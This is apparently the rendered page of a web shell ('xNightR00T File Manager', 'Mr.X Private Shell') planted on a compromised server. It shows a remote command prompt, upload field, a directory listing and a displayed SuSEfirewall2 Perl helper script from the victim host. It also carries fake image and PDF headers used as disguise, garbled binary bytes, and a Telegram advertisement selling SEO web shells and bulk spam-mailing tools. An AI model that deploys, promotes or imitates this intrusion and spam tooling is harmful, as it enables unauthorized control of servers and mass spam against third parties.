xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/usr/bin/perl -w

use strict;

my $config = '/etc/sysconfig/SuSEfirewall2';
my $tmpconfig = $config.'.new';

my %zones = map { $_ => 1} ( 'INT', 'EXT', 'DMZ' );
my %types = map { $_ => 1} ( 'TCP', 'UDP', 'IP', 'RPC' );

if($#ARGV < 2)
{
	print "USAGE: $0 <ZONE> <TYPE> <services...>\n\n";
	print "where ZONE is one of ".join(' ', keys %zones)."\n";
	print "and TYPE is one of ".join(' ', keys %types)."\n";
	exit 1
}

my ($zone, $type);

$zone = shift;
$type = shift;

if(!exists $zones{$zone})
{
	print "$zone is not a valid zone, must be one of ".join(' ', keys %zones)."\n";
	exit 1
}

if(!exists $types{$type})
{
	print "$type is not a valid type, must be one of ".join(' ', keys %types)."\n";
	exit 1
}

my $var = 'FW_SERVICES_'.$zone.'_'.$type;

open(CONF,"<$config") or die "Unable to open file $config";
open(OUT,">$tmpconfig") or die "Unable to open file $tmpconfig";

while(<CONF>)
{
	if(/^$var=(['"])?([^'"]*)(['"])?/)
	{
		my @val = split(/\s+/, $2);
		my $fc = $1 || '"';
		if ($fc ne ($3 || '"'))
		{
			unlink $tmpconfig;
			die "invalid line $.\n";
		}
		my %new = map { $_ => 1 } @val;
		for my $service (@ARGV)
		{
			next if $new{$service};
			$new{$service} = 1;
			push @val, $service;
		}
		print OUT "$var=$fc",join(' ',  @val), $fc, "\n";
	}
	else
	{
		print OUT;
	}
}

close OUT;
close CONF;

rename $tmpconfig, $config or die "can't rename file $tmpconfig to $config";

exit 0

Filemanager

Name Type Size Permission Actions
SuSEfirewall2-batch File 2.62 KB 0644
SuSEfirewall2-custom File 3.12 KB 0755
SuSEfirewall2-oldbroadcast File 2.96 KB 0644
SuSEfirewall2-open File 1.37 KB 0644
SuSEfirewall2-qdisc File 4.94 KB 0644
SuSEfirewall2-rpcinfo File 4.47 KB 0644
SuSEfirewall2-showlog File 2.72 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1